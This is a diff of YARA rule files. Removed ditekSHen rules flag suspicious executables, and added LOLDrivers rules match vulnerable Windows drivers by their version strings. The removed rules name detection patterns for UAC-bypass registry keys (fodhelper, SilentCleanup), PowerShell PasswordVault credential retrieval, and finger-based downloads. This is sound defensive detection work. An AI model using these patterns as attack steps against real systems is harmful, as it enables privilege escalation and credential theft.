+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Ngiodriversys_Avastng_5FAE : FILE
 {
 	meta:
-		description = "Detects executables with modified PE resources using the unpaid version of Resource Tuner"
-		author = "ditekSHen"
-		id = "2ada52b4-de9e-5b66-a05e-da894ca79e48"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L793-L801"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "25959ba2f974ecdcda624b4b34cd8dac0336af0dd7c88d2e3b17ec94d58b87b8"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ngiodriver.sys"
+		author = "Florian Roth"
+		id = "f80d2c53-58e9-5e76-94fc-9a86ea80cfc9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2624-L2643"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5fae7e491b0d919f0b551e15e0942ac7772f2889722684aea32cff369e975879"
+		logic_hash = "7dfbd2e11b8a37a8b276a2279f19f57064f3d561cf2555680c71679206ec1452"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "Modified by an unpaid evaluation copy of Resource Tuner 2 (www.heaventools.com)" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0061007600610073007400210020004e0047002000730065007400750070002000680065006c0070006500720020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e0030002e0030002e003300360032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e0030002e0030002e003300360032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100760061007300740020004e0047 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003400200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_References_Sectools_B64Encoded : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Innotekgmbh_Vboxusbmonsys_Virtualboxusbmonitordriver_3D05 : FILE
 {
 	meta:
-		description = "Detects executables referencing many base64-encoded IR and analysis tools names"
-		author = "ditekSHen"
-		id = "2d3c994a-5b7c-52c5-a4a1-e67a773b692b"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L897-L941"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "20f889c9c50e8c5e55fd7ebe508015b1e72e6f7ef1b410e5e707d554fb8e8588"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxUSBMon.sys"
+		author = "Florian Roth"
+		id = "b765649a-a926-50cd-9772-86ed7538dd2e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2646-L2665"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3d055be2671e136c937f361cef905e295ddb6983526341f1d5f80a16b7655b40"
+		logic_hash = "ca021b6b3c733e75d33996652ca9602541e4c9eb9e74f2a995d1b2c2989ca68b"
 		score = 40
-		quality = 43
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "VGFza21ncg==" ascii wide
-		$s2 = "dGFza21ncg==" ascii wide
-		$s3 = "UHJvY2Vzc0hhY2tlcg" ascii wide
-		$s4 = "cHJvY2V4cA" ascii wide
-		$s5 = "cHJvY2V4cDY0" ascii wide
-		$s6 = "aHR0cCBhbmFseXplci" ascii wide
-		$s7 = "ZmlkZGxlcg" ascii wide
-		$s8 = "ZWZmZXRlY2ggaHR0cCBzbmlmZmVy" ascii wide
-		$s9 = "ZmlyZXNoZWVw" ascii wide
-		$s10 = "SUVXYXRjaCBQcm9mZXNzaW9uYWw" ascii wide
-		$s11 = "ZHVtcGNhcA" ascii wide
-		$s12 = "d2lyZXNoYXJr" ascii wide
-		$s13 = "c3lzaW50ZXJuYWxzIHRjcHZpZXc" ascii wide
-		$s14 = "TmV0d29ya01pbmVy" ascii wide
-		$s15 = "TmV0d29ya1RyYWZmaWNWaWV3" ascii wide
-		$s16 = "SFRUUE5ldHdvcmtTbmlmZmVy" ascii wide
-		$s17 = "dGNwZHVtcA" ascii wide
-		$s18 = "aW50ZXJjZXB0ZXI" ascii wide
-		$s19 = "SW50ZXJjZXB0ZXItTkc" ascii wide
-		$s20 = "b2xseWRiZw" ascii wide
-		$s21 = "eDY0ZGJn" ascii wide
-		$s22 = "eDMyZGJn" ascii wide
-		$s23 = "ZG5zcHk" ascii wide
-		$s24 = "ZGU0ZG90" ascii wide
-		$s25 = "aWxzcHk" ascii wide
-		$s26 = "ZG90cGVla" ascii wide
-		$s27 = "aWRhNjQ" ascii wide
-		$s28 = "UkRHIFBhY2tlciBEZXRlY3Rvcg" ascii wide
-		$s29 = "Q0ZGIEV4cGxvcmVy" ascii wide
-		$s30 = "UEVpRA" ascii wide
-		$s31 = "cHJvdGVjdGlvbl9pZA" ascii wide
-		$s32 = "TG9yZFBF" ascii wide
-		$s33 = "cGUtc2lldmU=" ascii wide
-		$s34 = "TWVnYUR1bXBlcg" ascii wide
-		$s35 = "VW5Db25mdXNlckV4" ascii wide
-		$s36 = "VW5pdmVyc2FsX0ZpeGVy" ascii wide
-		$s37 = "Tm9GdXNlckV4" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200055005300420020004d006f006e00690074006f00720020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0069006e006e006f00740065006b00200047006d00620048 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078005500530042004d006f006e002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072007400750061006c0042006f007800200055005300420020004d006f006e00690074006f00720020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078005500530042004d006f006e002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0069006e006e006f00740065006b00200047006d00620048 }
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_References_Sandbox_Artifacts : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Ngiodriversys_Avastng_1A45 : FILE
 {
 	meta:
-		description = "Detects executables referencing sandbox artifacts"
-		author = "ditekSHen"
-		id = "2c0e4d38-8d68-5cd2-9f9e-e56f372b67cf"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L943-L976"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3d4a356191ec914eba86e78d3823dd1dc2d18f17074abb9986f3337169821bc6"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ngiodriver.sys"
+		author = "Florian Roth"
+		id = "a9aae6dc-3328-5541-a437-509b5ac81261"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2668-L2687"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1a450ae0c9258ab0ae64f126f876b5feed63498db729ec61d06ed280e6c46f67"
+		logic_hash = "51f72d08bd6f0b0e683a9af729e16e08e8d652d9ea5f43872aa402ec3da65cfe"
 		score = 40
-		quality = 43
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "C:\\agent\\agent.pyw" ascii wide
-		$s2 = "C:\\sandbox\\starter.exe" ascii wide
-		$s3 = "c:\\ipf\\BDCore_U.dll" ascii wide
-		$s4 = "C:\\cwsandbox_manager" ascii wide
-		$s5 = "C:\\cwsandbox" ascii wide
-		$s6 = "C:\\Stuff\\odbg110" ascii wide
-		$s7 = "C:\\gfisandbox" ascii wide
-		$s8 = "C:\\Virus Analysis" ascii wide
-		$s9 = "C:\\iDEFENSE\\SysAnalyzer" ascii wide
-		$s10 = "c:\\gnu\\bin" ascii wide
-		$s11 = "C:\\SandCastle\\tools" ascii wide
-		$s12 = "C:\\cuckoo\\dll" ascii wide
-		$s13 = "C:\\MDS\\WinDump.exe" ascii wide
-		$s14 = "C:\\tsl\\Raptorclient.exe" ascii wide
-		$s15 = "C:\\guest_tools\\start.bat" ascii wide
-		$s16 = "C:\\tools\\aswsnx\\snxcmd.exe" ascii wide
-		$s17 = "C:\\Winap\\ckmon.pyw" ascii wide
-		$s18 = "c:\\tools\\decodezeus" ascii wide
-		$s19 = "c:\\tools\\aswsnx" ascii wide
-		$s20 = "C:\\sandbox\\starter.exe" ascii wide
-		$s21 = "C:\\Kit\\procexp.exe" ascii wide
-		$s22 = "c:\\tracer\\mdare32_0.sys" ascii wide
-		$s23 = "C:\\tool\\malmon" ascii wide
-		$s24 = "C:\\Samples\\102114\\Completed" ascii wide
-		$s25 = "c:\\vmremote\\VmRemoteGuest.exe" ascii wide
-		$s26 = "d:\\sandbox_svc.exe" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0061007600610073007400210020004e0047002000730065007400750070002000680065006c0070006500720020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e0030002e00330037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e0030002e00330037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100760061007300740020004e0047 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003400200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Embedded_Gzip_B64Encoded_File : FILE
-{
-	meta:
-		description = "Detects executables containing bas64 encoded gzip files"
-		author = "ditekSHen"
-		id = "e50f8560-d53b-5388-b94d-d104b7c064f2"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L978-L987"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "431e5a45bf8ed5874b330419675b3d43eb6a563c42873730e823cdd7d6efba97"
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_62F5 : FILE
+{
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "e66960f5-d39e-5b0b-b573-77ffeb276925"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2690-L2710"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "62f5e13b2edc00128716cb93e6a9eddffea67ce83d2bb426f18f5be08ead89e0"
+		hash = "ee3ff12943ced401e2b6df9e66e8a0be8e449fa9326cab241f471b2d8ffefdd7"
+		logic_hash = "13b9c0f468e8ce5a9ff8938879d6d22a56c0d7e01b3a72969ecff55954a07b89"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "H4sIAAAAAAA" ascii wide
-		$s2 = "AAAAAAAIs4H" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003000390039 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <500KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_PWSH_Passwordcredential_Retrievepassword
+rule LOLDRIVERS_PUA_VULN_Driver_Yyinc_Dianhu_80CB : FILE
 {
 	meta:
-		description = "Detects PowerShell content designed to retrieve passwords from host"
-		author = "ditekSHen"
-		id = "b34599ab-b874-5ea5-990d-bc7593bb08b5"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1048-L1058"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f09320d9c4734579a535c7fee993fa076974b13ffd25e0d9ab02bc09663595f8"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Dh_Kernel_10.sys"
+		author = "Florian Roth"
+		id = "166a402d-9679-54b8-9703-3e3b2b001236"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2713-L2731"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "80cbba9f404df3e642f22c476664d63d7c229d45d34f5cd0e19c65eb41becec3"
+		hash = "bb50818a07b0eb1bd317467139b7eb4bad6cd89053fecdabfeae111689825955"
+		logic_hash = "fb1f5f8687f1673585ee2652b9dde20ae925ee33d527d2052707b2370a5df1fc"
 		score = 40
-		quality = 39
-		tags = ""
-		importance = 20
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$namespace = "Windows.Security.Credentials.PasswordVault" ascii wide nocase
-		$method1 = "RetrieveAll()" ascii wide nocase
-		$method2 = ".RetrievePassword()" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006400690061006e00680075 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0059005900200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00390039 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00390039 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006400690061006e00680075 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300037002d003200300031003700200059005900200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		$namespace and 1 of ($method*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Uacbypass_Envvarscheduledtasks
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_8F68 : FILE
 {
 	meta:
-		description = "detects Windows exceutables potentially bypassing UAC (ab)using Environment Variables in Scheduled Tasks"
-		author = "ditekSHen"
-		id = "14244310-e524-54bf-8822-9b953378bb75"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1070-L1081"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dacca794aefd66526535a87c8890c0ad65550ff88bc0242f05c84c9452a31fe2"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "6a773b61-ac40-5cdd-ad93-0b16061587f7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2734-L2756"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8f68ca89910ebe9da3d02ec82d935de1814d79c44f36cd30ea02fa49ae488f00"
+		hash = "7227377a47204f8e2ff167eee54b4b3545c0a19e3727f0ec59974e1a904f4a96"
+		hash = "c8eaa5e6d3230b93c126d2d58e32409e4aeeb23ccf0dd047a17f1ef552f92fe9"
+		hash = "b11e109f6b3dbc8aa82cd7da0b7ba93d07d9809ee2a4b21ec014f6a676a53027"
+		logic_hash = "7be41a2e50b883e4e8196b37a35c5b1fd4169b3bc1975832baa4b8983bcfb051"
 		score = 40
-		quality = 45
-		tags = ""
-		importance = 20
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "\\Microsoft\\Windows\\DiskCleanup\\SilentCleanup" ascii wide
-		$s2 = "\\Environment" ascii wide
-		$s3 = "schtasks" ascii wide
-		$s4 = "/v windir" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003600200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Uacbypass_Fodhelper
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_A5A5 : FILE
 {
 	meta:
-		description = "detects Windows exceutables potentially bypassing UAC using fodhelper.exe"
-		author = "ditekSHen"
-		id = "0651e428-a2ef-508d-ad89-c68ac758808f"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1083-L1094"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ec41ca2185732e418825f7c32095dea361a53e586e498baf4c17eaaf9602ba5e"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "b68851b2-66b6-5b8a-9aaa-918a34934a92"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2759-L2778"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a5a50449e2cc4d0dbc80496f757935ae38bf8a1bebdd6555a3495d8c219df2ad"
+		logic_hash = "38048706f3e5bd4248779dc8890d14a31daafa177c51953c31f2e7a81c6871a0"
 		score = 40
-		quality = 43
-		tags = ""
-		importance = 20
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "\\software\\classes\\ms-settings\\shell\\open\\command" ascii wide nocase
-		$s2 = "DelegateExecute" ascii wide
-		$s3 = "fodhelper" ascii wide
-		$s4 = "ConsentPromptBehaviorAdmin" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0033002e0033003800340038002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0033002e0033003800340038002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Finger_Download_Pattern
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Wnbiossys_Windowsrwinddkdriver_530D : FILE
 {
 	meta:
-		description = "Detects files embedding and abusing the finger command for download"
-		author = "ditekSHen"
-		id = "6647b410-c8f0-596b-95d7-dbc6a951a83f"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1108-L1118"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "04cbb1abc4c3d2990bae798ece052eb8aa1b5104b5712e98aeb80731316b9c57"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wnbios.sys"
+		author = "Florian Roth"
+		id = "98c36c7b-603b-5fe4-8774-7ea9ecf84ef9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2781-L2800"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "530d9223ec7e4123532a403abef96dfd1af5291eb49497392ff5d14d18fccfbb"
+		logic_hash = "73e496811ab4097aa8311e510fa913a10691a00e314944d509df05084d373379"
 		score = 40
-		quality = 45
-		tags = ""
-		importance = 20
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$pat1 = /finger(\.exe)?\s.{1,50}@.{7,10}\|/ ascii wide
-		$pat2 = "-Command \"finger" ascii wide
-		$ne1 = "Nmap service detection probe list" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0057006e00420069006f00730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0077006e00620069006f0073002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0077006e00620069006f0073002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		not any of ($ne*) and any of ($pat*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Uacbypass_CMSTPCMD : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytes_Elbycdio_Cdrtools_98EC : FILE
 {
 	meta:
-		description = "Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF"
-		author = "ditekSHen"
-		id = "7bad57dc-ee8b-559d-8b17-af44c5bdf35b"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1120-L1133"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4cb92224d5a520dbd42d00d053aba3da21a49fda9391e5a462fd292d2e87e884"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "67443d8d-b463-51f0-96fa-8ed06833286f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2803-L2822"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
